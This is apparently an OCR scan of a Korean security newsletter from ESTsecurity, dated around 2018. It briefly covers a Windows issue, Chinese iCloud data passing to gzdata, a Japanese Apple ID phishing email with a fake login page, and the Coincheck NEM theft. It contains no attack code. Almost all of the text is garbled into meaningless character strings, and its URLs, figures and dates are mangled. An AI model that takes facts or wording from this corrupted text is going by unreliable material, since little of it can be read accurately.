EOEREHICR | iEmhixXE.
(MBS ‘ VB SSHDIK
mewirss - Sl

RO AAS=E - HRERTAR

;

S22, 18 142 Windows 2HIZ S20|HE A9 L2 =9t YH0|E AMHIAS SR
IUERNOM, BEE AIZLHO| Windows ZHIZ AMH|AS SEHOPICI L i3l S=S2A2 AMSASA I0S L
IE20|E FOHEIM HE WER=2s Hdokl UCHL WP OB L S=5423 2| 212 HHI0IEY2 2016 A

1 25 20|,

g

e 0
n J

w
i
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U OIE{Lll W27} keso 7+ 71t (Huorong O Tencent MIES XItoh= 7401 &5 AH)CHIZO|, Tencent CEO 7t

Rlofi= Z1} 2= ARIS0| 78S ?lEtoh= ZAIEH0] UM, 00 Choll +~ES SR HRICL

N

Jpor

[EX{ http://36krcom/p/5109692html

ESTSECU!’ffy Copyright © 2018 ESTsecurity Corp. All rights reserved.
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iCloud 5=, gzdata 7} &0} 2F

iCloud (FE) FHTLHEMEE

S=2 2 CAOHEHDHOIM S= AZAL CIO|E= HIEA] S= L MEO| XEoHOF SHtLT HAGIRAL. 0HE2
00 "22I= iCloud MH2| £t MZIES SFIAP |1, SZEES E617| flotiM 01243 ZXIS FSIALI 21

SR
OIZS =7} 52 XI20] S0 AHE(0] U= Apple ID S iCloud HIEIIHIZ OHE 200/, 1 5 ABRISS
BE AHIAL} Cloud 0ff AEAFEES HIOEIS(IELSHA,2A Ritel S)of ik M2

iCloud(gzdata SH)I20| HBE Z0[241 it

AEXISE BIEA] iCloudigzdata 2%) Q20 SOOIt HSHOR iCloud AHIAZ OIS 4 UL, BIof
gzdata 7+ SBBH= iCloud AHIAS AKBSHD 41K GJLIR, 201813 2 8 28 OFIIK| SHe

23 (https://www.icloud.com/optout)dilA] iCloud A™&S ZTAI7{0F S,

[EA http:/ /tech.163.com/17/1206/08/D4VEIBMGO0097U7R html
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3. &=

Apple S AFgol= OEMY, 18 TS OlYS

TAHEeH AL 1822 Y 2 O|0f CRA] =it

Itk

Ol '&219| Apple ID o] HOHEIRS

Apple ZH=BT1 v T X—)L. 18 B LS. Td5%7=0 Apple D Dtz 1) T B BREL TS

7230 1 B 22 BRLAH XT3N

EHIEN0|F 2542\ = Apple S AFEok= THJH[RI0] 1222 & & 01201 18 2FS Ofef 2RIt SHA]
zo|= =15} QCt

M| Mi=2 FL12| Apple ID 2f HOMEES MANGH FHAILE E|0] JULE MY S FA= Apple 2
HHUFAZ MZESHH 2E== ‘horeply@email.apple.com’ 22 E[0] U0, 7k} AO|EZ QESH Apple ID Lt
IHAQIE, MEFIE FHEO| HFE 2|t UCt

FHI> FOBAERE T VT ERE TR TS LET

FTHD Apple 1D {2 ssssmsmm g - T,

Apple 10 @2 Applo DPWOMEB CY ~EXTHRLUIERL
2, Apple IDOREFIRETETMOMELTL NS, B
LD Apple IDREDTHHSKHESNY. KRBINITLRVAT
ﬁ:;)-{ YTERRAT, LOFTADY FORIERAZHONT
ey,

[ £
478 vyyyirmmFdda

(S S EaaR
SEETR

Ty (ENENE)

P

Apple IDDEHILLAE

PN0 MAGHERARMEIRHO2 L2 O - FI# LS
VSEEIFI<EEL.

JHRIYEO| US F+Iok= TIAOIES| Of

EFE0l0| SRS 22 HISOR HIASH AREEL IS SO| YIS -2l TAEZH0| 20179 10 2
HSHE| 70| € 1 3/0] HO|AR EHZ0[5I0] SolE/T QIrkm Bt JII*'EH"”°*°I2ILF°E' rxutrtHOI
U AJO|HEZIHHAENCIIIALS OIS B2 T OFHSEIT HISH HIO0| CHa] FOIS S5 UACE
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10 & 232Xt ERHIEDO[FZ 7|AOfA EE3E RASH DIAHIAU2 7[SFE)2] IPFA0IAM ALl Q1|0] /O
L2707 O APHO AR QISHCH £0|= LHEO0|A=E, 0]240] O]HOfl= AXL7 EHH)2LL HFHK Q= AO]
Exlo|ct,
SAI9] Apple D2 HOIISS THAKGH FAAIL.
it oeinirini el RS e SRyl srasiies o] Apple ID7F @ HEIXOIA iCloudoil AKR! QISH= O] AFREIQS
| ‘* Lict,
| é RIS} AJZH 2018518192 22:08 JST
|
SEHO A0l (D £, 92T TSV DS Cloud B H o1 AT ERENELL, EE-I'—?—X'I Chrome
B : 2016F18198 22.08 |5
IS Chrome 9]1"E1|0||<'=5| A[ﬁ%’ Windows
e IP: 2200000004151 (AIX27)
LEFEBTUCERE, ZOA=LEERL TS,
B oo (TR A RO 7 SHALTA SRR SR Ay (27— A7|7F 2RI} O AL 0] HYUS RASH FHAIL.
ZiZ iCloud0l] Al Q12 3t &0| 8in, EXpt o2 MLl AHE At
- 251 UCIT 2SS HS0I= Apple IDE IAYES 245 FHAS
s - HEELR e
Apple MEZEMH
O[HO|| ElR1%| 7 Q= AU o
HYUEE2 HTML A0 Z &|0f QIC} EEO0|F20AM= HIYER| 215 URL 0f CHHA PC2HH OFRA
QH{SI0] 0I5t Fof| M&oh= Z4E FA6HD QICH 2|10 ANEZS| FE #l HERANM= HIE Z2A 2™
23 URLZ =l 4~ ULt
71 210l MY AKXt Apple ID 7t &2 AL 22 SEHEY | H260= 2| 0|2 235K Q= 7t

AOIEZ FEol0] APRYEEL HRIEE, MEIIEEEE

5 EIEN0|F20j|A4= Apple ID O]2/0= Google, M

A7 (2411 Sl MY Sk 1A= LIEL URUCE

icrosoft, Amazon 2| Z} A’H0]| CHoHA = 7HRPEE I}

FRIE(0] 17| THE0| BIFIKIOIH QLOWN OI87IRI7H 51 BA0| Bl Mt E[T QITkD sk 2eist QOIS Q35
B It

[EX] https:/ /intemetwatch.impress.co jp/docs/news/ 1102837 himl
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‘Coincheck 2 2F 580 & oIl 2(4)2] 7MEst BHEZ - AP X2 E HASt

243

[Coincheck) THJ580 fEFINDIRBESHNNEXE - ECER CHET 375t

7|-**5§}71EH_+_ ‘Coincheck 7 SAIEI4S 10} TIZHOAIA SIEf Hr QB! 7RSS} NEW'S BE22 Sl Tfs7}
ASHCE TI{SHOS Ut GlOR SHAKSIRH OF 580 {00} 3t

0| A|EE 2F5h= FOUXIZ0H| M=H, 1 & 26 Y 3AITRH 7RISt NEMO| 4= X|0fl 24X £-o=

SEEIUCH B 11 Al BF B0 ZHa7} OfobA| Z4sl AUCH= AE HHSHHM ZXI7T LZEIICE. TioHt=
5912300 Tt XEM O EIX| ShA|Q] U= AIOZ SkAKSIH 2F 580 & 2Mloy| ZSICt OAIS U= A|AHIS EQI57I
HOL} =XIE M7 |7EK| 2 8AZES Q37| IHZ0| 'NEM'S| 12| THO| IISHS UL S CHE 7HS3o] 2t
Ioti= 24R1%[X| 2T UL

[ 0 2} O] SIAOIAIS 242 L0 NEM'S ONL|2t CIE 7KMS5} 742Ut Ui IS E3tet 53 52
HR[ICL O] SIMOIME 201 QR0 S SHOMTTA BT QOLY Ljsisy S JpsHT Zstsio] 34y
VR

O] 2lAk= HRATHEHO] CioHM 21FE A1 211 2F 80 & U= SRE & of B/t HE0H| ZATI U0 2 HTHAY
ST Aot Ut FEESH, FAL EH"”'—H%% SIGIAIX] 211 QUOLL ‘S=et HAS Z715tl AACK2HH Ef

etiZe0| Hfol CHEHO| QIO|HCY b= Q1AL SATIAL SHTt,

|-0II

(o]}

ofH, 0] 2\t FEoks 13 5R2| 7HS2l0 A0M LR0M= LE2R10M Eefok=s BE=EA'S 0185t
UAAOLY OHO| LIHS AT NEM'0H| Ztotiit= QIESINM 22 & 4= U= S o= 2[5 UL,
US EESk= HEATLA(ZEA ) o

I'

mﬁ-l

Cl=0] E2EME M0 0= 208 7|12 0IZold 28552l 2l23
CHSHAT ‘NEM'Ol CHOHA CHESHA| 242 RHZ2 2FEI1 UAL.

=
il
Kl
or
o

101 CHoliAf O] =lAk= Q1A 2|lad BX20|L 7[&XRl ZHZ2 ST + SR SHotk= oFH, 1Al
T2 GXTH = TISS Al=lotl UAACI SHEACE 01H ZX(0f [t O] 2MUM = 2SS0t ZAE AEHS
E510 NEMZHEO|L O] S2HE FlE0k= 7eiat AAlol SilE S2t FX0|Lt IHIEX| 2FS YT

LESH0] A= NEM & B711L QAT 2F 26 THE0| Cheh 201 TiollA 22 & 28 20| &S 28U AV IXfE2
EXHFEEZ oA TRURMIT 0]l Lo 2= ACZ SRHS SHTf. CITH HAA|LE =8I0 Chisiid= &
SO BiT.
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o

HAOHS 1XEM & 88,549 AO|CH ‘NEM'Q| FZ17t 71 B

S

Coincheck A1S] O] AJFE 27 & 23 A0 ZXA] 7zh

0

TIESIEA Zaif S B2 5101
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